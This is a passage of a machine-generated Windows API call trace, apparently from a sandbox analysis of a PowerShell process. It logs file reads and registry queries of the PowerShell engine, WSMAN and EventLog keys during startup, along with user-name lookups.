lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.305] ReadFile (in: hFile=0x308, lpBuffer=0x3c2e930, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x3c2e930*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.306] ReadFile (in: hFile=0x308, lpBuffer=0x3c2e930, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x3c2e930*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.306] ReadFile (in: hFile=0x308, lpBuffer=0x3c2e930, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x3c2e930*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.307] ReadFile (in: hFile=0x308, lpBuffer=0x3c2e930, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x3c2e930*, lpNumberOfBytesRead=0x24d3b8*=0xe98, lpOverlapped=0x0) returned 1 [0043.307] ReadFile (in: hFile=0x308, lpBuffer=0x3c2df30, nNumberOfBytesToRead=0x168, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x3c2df30*, lpNumberOfBytesRead=0x24d3b8*=0x0, lpOverlapped=0x0) returned 1 [0043.307] ReadFile (in: hFile=0x308, lpBuffer=0x3c2e930, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x3c2e930*, lpNumberOfBytesRead=0x24d3b8*=0x0, lpOverlapped=0x0) returned 1 [0043.307] CloseHandle (hObject=0x308) returned 1 [0043.307] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", nBufferLength=0x105, lpBuffer=0x24d100, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", lpFilePart=0x0) returned 0x41 [0043.307] SetErrorMode (uMode=0x1) returned 0x1 [0043.308] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\registry.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x24d360 | out: lpFileInformation=0x24d360*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67eea05d, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67eea05d, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe603f2b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x4e98)) returned 1 [0043.308] SetErrorMode (uMode=0x1) returned 0x1 [0043.308] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", nBufferLength=0x105, lpBuffer=0x24d090, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", lpFilePart=0x0) returned 0x41 [0043.308] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d448 | out: phkResult=0x24d448*=0x308) returned 0x0 [0043.308] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x24d3cc, lpData=0x0, lpcbData=0x24d3c8*=0x0 | out: lpType=0x24d3cc*=0x1, lpData=0x0, lpcbData=0x24d3c8*=0x56) returned 0x0 [0043.308] CoTaskMemAlloc (cb=0x5a) returned 0x1b9c7fe0 [0043.308] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x24d39c, lpData=0x1b9c7fe0, lpcbData=0x24d398*=0x56 | out: lpType=0x24d39c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x24d398*=0x56) returned 0x0 [0043.308] CoTaskMemFree (pv=0x1b9c7fe0) [0043.308] RegCloseKey (hKey=0x308) returned 0x0 [0043.308] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", nBufferLength=0x105, lpBuffer=0x24d090, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", lpFilePart=0x0) returned 0x41 [0043.309] VirtualQuery (in: lpAddress=0x24bee0, lpBuffer=0x24cda0, dwLength=0x30 | out: lpBuffer=0x24cda0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.310] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0xb1246045, Data2=0xa679, Data3=0x4965, Data4=([0]=0x81, [1]=0x2b, [2]=0x6e, [3]=0x1b, [4]=0x75, [5]=0xad, [6]=0x75, [7]=0x5c))) returned 0x0 [0043.310] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x559d65ab, Data2=0x1c6d, Data3=0x45b9, Data4=([0]=0x89, [1]=0x82, [2]=0x26, [3]=0x9f, [4]=0x63, [5]=0xce, [6]=0x3f, [7]=0x20))) returned 0x0 [0043.325] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x24d410, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0043.326] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x24d410, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0043.378] CoTaskMemAlloc (cb=0x104) returned 0x3d6c00 [0043.378] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6c00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0043.378] CoTaskMemAlloc (cb=0x104) returned 0x3d6c00 [0043.378] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6c00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0043.379] CoTaskMemAlloc (cb=0x104) returned 0x3d6c00 [0043.379] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6c00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0043.379] CoTaskMemAlloc (cb=0x104) returned 0x3d6c00 [0043.379] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6c00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0043.387] CoTaskMemAlloc (cb=0x104) returned 0x3d6c00 [0043.387] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6c00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0043.387] CoTaskMemFree (pv=0x3d6c00) [0043.390] CoTaskMemAlloc (cb=0x104) returned 0x3d6c00 [0043.390] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6c00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0043.390] CoTaskMemFree (pv=0x3d6c00) [0043.390] CoTaskMemAlloc (cb=0x104) returned 0x3d6c00 [0043.390] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6c00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0043.390] CoTaskMemFree (pv=0x3d6c00) [0043.397] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WSMAN", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d658 | out: phkResult=0x24d658*=0x308) returned 0x0 [0043.399] RegQueryInfoKeyW (in: hKey=0x308, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x24d55c, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x24d558, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x24d55c*=0x6, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x24d558*=0x3, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0043.399] CoTaskMemFree (pv=0x0) [0043.399] CoTaskMemAlloc (cb=0x204) returned 0x393c20 [0043.399] RegEnumValueW (in: hKey=0x308, dwIndex=0x0, lpValueName=0x393c20, lpcchValueName=0x24d608, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="StackVersion", lpcchValueName=0x24d608, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0043.400] CoTaskMemFree (pv=0x393c20) [0043.400] CoTaskMemAlloc (cb=0x204) returned 0x393c20 [0043.400] RegEnumValueW (in: hKey=0x308, dwIndex=0x1, lpValueName=0x393c20, lpcchValueName=0x24d608, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="SupportsCompatListeners", lpcchValueName=0x24d608, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0043.400] CoTaskMemFree (pv=0x393c20) [0043.400] CoTaskMemAlloc (cb=0x204) returned 0x393c20 [0043.400] RegEnumValueW (in: hKey=0x308, dwIndex=0x2, lpValueName=0x393c20, lpcchValueName=0x24d608, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="UpdatedConfig", lpcchValueName=0x24d608, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0043.400] CoTaskMemFree (pv=0x393c20) [0043.401] RegQueryValueExW (in: hKey=0x308, lpValueName="StackVersion", lpReserved=0x0, lpType=0x24d5ec, lpData=0x0, lpcbData=0x24d5e8*=0x0 | out: lpType=0x24d5ec*=0x1, lpData=0x0, lpcbData=0x24d5e8*=0x8) returned 0x0 [0043.401] CoTaskMemAlloc (cb=0xc) returned 0x1b9d36f0 [0043.401] RegQueryValueExW (in: hKey=0x308, lpValueName="StackVersion", lpReserved=0x0, lpType=0x24d5bc, lpData=0x1b9d36f0, lpcbData=0x24d5b8*=0x8 | out: lpType=0x24d5bc*=0x1, lpData="2.0", lpcbData=0x24d5b8*=0x8) returned 0x0 [0043.401] CoTaskMemFree (pv=0x1b9d36f0) [0043.436] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WSMAN", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d5a8 | out: phkResult=0x24d5a8*=0x30c) returned 0x0 [0043.437] RegQueryInfoKeyW (in: hKey=0x30c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x24d4ac, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x24d4a8, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x24d4ac*=0x6, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x24d4a8*=0x3, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0043.437] CoTaskMemFree (pv=0x0) [0043.437] CoTaskMemAlloc (cb=0x204) returned 0x393c20 [0043.437] RegEnumValueW (in: hKey=0x30c, dwIndex=0x0, lpValueName=0x393c20, lpcchValueName=0x24d558, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="StackVersion", lpcchValueName=0x24d558, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0043.437] CoTaskMemFree (pv=0x393c20) [0043.437] CoTaskMemAlloc (cb=0x204) returned 0x393c20 [0043.437] RegEnumValueW (in: hKey=0x30c, dwIndex=0x1, lpValueName=0x393c20, lpcchValueName=0x24d558, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="SupportsCompatListeners", lpcchValueName=0x24d558, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0043.437] CoTaskMemFree (pv=0x393c20) [0043.437] CoTaskMemAlloc (cb=0x204) returned 0x393c20 [0043.437] RegEnumValueW (in: hKey=0x30c, dwIndex=0x2, lpValueName=0x393c20, lpcchValueName=0x24d558, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="UpdatedConfig", lpcchValueName=0x24d558, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0043.437] CoTaskMemFree (pv=0x393c20) [0043.437] RegQueryValueExW (in: hKey=0x30c, lpValueName="StackVersion", lpReserved=0x0, lpType=0x24d53c, lpData=0x0, lpcbData=0x24d538*=0x0 | out: lpType=0x24d53c*=0x1, lpData=0x0, lpcbData=0x24d538*=0x8) returned 0x0 [0043.437] CoTaskMemAlloc (cb=0xc) returned 0x1b9d3630 [0043.437] RegQueryValueExW (in: hKey=0x30c, lpValueName="StackVersion", lpReserved=0x0, lpType=0x24d50c, lpData=0x1b9d3630, lpcbData=0x24d508*=0x8 | out: lpType=0x24d50c*=0x1, lpData="2.0", lpcbData=0x24d508*=0x8) returned 0x0 [0043.437] CoTaskMemFree (pv=0x1b9d3630) [0043.437] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6c00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0043.437] CoTaskMemFree (pv=0x3d6c00) [0043.441] CoTaskMemAlloc (cb=0x104) returned 0x3d6c00 [0043.441] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6c00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0043.441] CoTaskMemFree (pv=0x3d6c00) [0043.448] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d5d8 | out: phkResult=0x24d5d8*=0x334) returned 0x0 [0043.454] RegQueryInfoKeyW (in: hKey=0x334, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x24d54c, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x24d548, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x24d54c*=0x9, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x24d548*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0043.454] CoTaskMemFree (pv=0x0) [0043.455] CoTaskMemAlloc (cb=0x204) returned 0x393c20 [0043.455] RegEnumKeyExW (in: hKey=0x334, dwIndex=0x0, lpName=0x393c20, lpcchName=0x24d5d8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x24d5d8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0043.455] RegEnumKeyExW (in: hKey=0x334, dwIndex=0x1, lpName=0x393c20, lpcchName=0x24d5d8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x24d5d8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0043.455] RegEnumKeyExW (in: hKey=0x334, dwIndex=0x2, lpName=0x393c20, lpcchName=0x24d5d8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x24d5d8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0043.455] RegEnumKeyExW (in: hKey=0x334, dwIndex=0x3, lpName=0x393c20, lpcchName=0x24d5d8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x24d5d8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0043.455] RegEnumKeyExW (in: hKey=0x334, dwIndex=0x4, lpName=0x393c20, lpcchName=0x24d5d8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Media Center", lpcchName=0x24d5d8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0043.455] RegEnumKeyExW (in: hKey=0x334, dwIndex=0x5, lpName=0x393c20, lpcchName=0x24d5d8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x24d5d8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0043.455] RegEnumKeyExW (in: hKey=0x334, dwIndex=0x6, lpName=0x393c20, lpcchName=0x24d5d8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x24d5d8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0043.455] RegEnumKeyExW (in: hKey=0x334, dwIndex=0x7, lpName=0x393c20, lpcchName=0x24d5d8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x24d5d8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0043.455] RegEnumKeyExW (in: hKey=0x334, dwIndex=0x8, lpName=0x393c20, lpcchName=0x24d5d8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x24d5d8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0043.456] RegOpenKeyExW (in: hKey=0x334, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d638 | out: phkResult=0x24d638*=0x324) returned 0x0 [0043.456] RegOpenKeyExW (in: hKey=0x324, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d638 | out: phkResult=0x24d638*=0x0) returned 0x2 [0043.456] RegOpenKeyExW (in: hKey=0x334, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d638 | out: phkResult=0x24d638*=0x338) returned 0x0 [0043.456] RegOpenKeyExW (in: hKey=0x338, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d638 | out: phkResult=0x24d638*=0x0) returned 0x2 [0043.456] RegOpenKeyExW (in: hKey=0x334, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d638 | out: phkResult=0x24d638*=0x33c) returned 0x0 [0043.456] RegOpenKeyExW (in: hKey=0x33c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d638 | out: phkResult=0x24d638*=0x0) returned 0x2 [0043.456] RegOpenKeyExW (in: hKey=0x334, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d638 | out: phkResult=0x24d638*=0x340) returned 0x0 [0043.456] RegOpenKeyExW (in: hKey=0x340, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d638 | out: phkResult=0x24d638*=0x0) returned 0x2 [0043.456] RegOpenKeyExW (in: hKey=0x334, lpSubKey="Media Center", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d638 | out: phkResult=0x24d638*=0x344) returned 0x0 [0043.456] RegOpenKeyExW (in: hKey=0x344, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d638 | out: phkResult=0x24d638*=0x0) returned 0x2 [0043.456] RegOpenKeyExW (in: hKey=0x334, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d638 | out: phkResult=0x24d638*=0x348) returned 0x0 [0043.456] RegOpenKeyExW (in: hKey=0x348, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d638 | out: phkResult=0x24d638*=0x0) returned 0x2 [0043.456] RegOpenKeyExW (in: hKey=0x334, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d638 | out: phkResult=0x24d638*=0x0) returned 0x5 [0043.750] RegOpenKeyExW (in: hKey=0x334, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d638 | out: phkResult=0x24d638*=0x34c) returned 0x0 [0043.751] RegOpenKeyExW (in: hKey=0x34c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d638 | out: phkResult=0x24d638*=0x0) returned 0x2 [0043.751] RegOpenKeyExW (in: hKey=0x334, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d638 | out: phkResult=0x24d638*=0x350) returned 0x0 [0043.751] RegOpenKeyExW (in: hKey=0x350, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d638 | out: phkResult=0x24d638*=0x354) returned 0x0 [0043.751] RegCloseKey (hKey=0x354) returned 0x0 [0043.751] RegCloseKey (hKey=0x334) returned 0x0 [0043.751] RegCloseKey (hKey=0x350) returned 0x0 [0043.763] CoTaskMemAlloc (cb=0x804) returned 0x1ba0b720 [0043.763] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1ba0b720, nSize=0x24d848 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0x24d848) returned 0x1 [0043.763] CoTaskMemFree (pv=0x1ba0b720) [0043.764] CoTaskMemAlloc (cb=0x204) returned 0x393c20 [0043.765] GetUserNameW (in: lpBuffer=0x393c20, pcbBuffer=0x24d888 | out: lpBuffer="aETAdzjz", pcbBuffer=0x24d888) returned 1 [0043.765] CoTaskMemFree (pv=0x393c20) [0043.805] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d588 | out: phkResult=0x24d588*=0x358) returned 0x0 [0043.806] RegQueryInfoKeyW (in: hKey=0x358, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x24d4fc, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x24d4f8, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x24d4fc*=0x9, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x24d4f8*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0043.806] CoTaskMemFree (pv=0x0) [0043.806] CoTaskMemAlloc (cb=0x204) returned 0x393c20 [0043.806] RegEnumKeyExW (in: hKey=0x358, dwIndex=0x0, lpName=0x393c20, lpcchName=0x24d588, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x24d588, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0043.806] RegEnumKeyExW (in: hKey=0x358, dwIndex=0x1, lpName=0x393c20, lpcchName=0x24d588, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x24d588, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0043.806] RegEnumKeyExW (in: hKey=0x358, dwIndex=0x2, lpName=0x393c20, lpcchName=0x24d588, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x24d588, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0043.806] RegEnumKeyExW (in: hKey=0x358, dwIndex=0x3, lpName=0x393c20, lpcchName=0x24d588, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x24d588, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0043.806] RegEnumKeyExW (in: hKey=0x358, dwIndex=0x4, lpName=0x393c20, lpcchName=0x24d588, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Media Center", lpcchName=0x24d588, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0043.806] RegEnumKeyExW (in: hKey=0x358, dwIndex=0x5, lpName=0x393c20, lpcchName=0x24d588, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x24d588, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0043.806] RegEnumKeyExW (in: hKey=0x358, dwIndex=0x6, lpName=0x393c20, lpcchName=0x24d588, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x24d588, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0043.806] RegEnumKeyExW (in: hKey=0x358, dwIndex=0x7, lpName=0x393c20, lpcchName=0x24d588, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x24d588, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0043.806] RegEnumKeyExW (in: hKey=0x358, dwIndex=0x8, lpName=0x393c20, lpcchName=0x24d588, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x24d588, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0043.806] RegOpenKeyExW (in: hKey=0x358, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d5e8 | out: phkResult=0x24d5e8*=0x35c) returned 0x0 [0043.806] RegOpenKeyExW (in: hKey=0x35c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d5e8 | out: phkResult=0x24d5e8*=0x0) returned 0x2 [0043.806] RegOpenKeyExW (in: hKey=0x358, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d5e8 | out: phkResult=0x24d5e8*=0x360) returned 0x0 [0043.806] RegOpenKeyExW (in: hKey=0x360, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d5e8 | out: phkResult=0x24d5e8*=0x0) returned 0x2 [0043.806] RegOpenKeyExW (in: hKey=0x358, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d5e8 | out: phkResult=0x24d5e8*=0x364) returned 0x0 [0043.807] RegOpenKeyExW (in: hKey=0x364, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d5e8 | out: phkResult=0x24d5e8*=0x0) returned 0x2 [0043.807] RegOpenKeyExW (in: hKey=0x358, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d5e8 | out: phkResult=0x24d5e8*=0x368) returned 0x0 [0043.807] RegOpenKeyExW (in: hKey=0x368, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d5e8 | out: phkResult=0x24d5e8*=0x0) returned 0x2 [0043.807] RegOpenKeyExW (in: hKey=0x358, lpSubKey="Media Center", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d5e8 | out: phkResult=0x24d5e8*=0x36c) returned 0x0 [0043.807] RegOpenKeyExW (in: hKey=0x36c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d5e8 | out: phkResult=0x24d5e8*=0x0) returned 0x2 [0043.807] RegOpenKeyExW (in: hKey=0x358, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d5e8 | out: phkResult=0x24d5e8*=0x370) returned 0x0 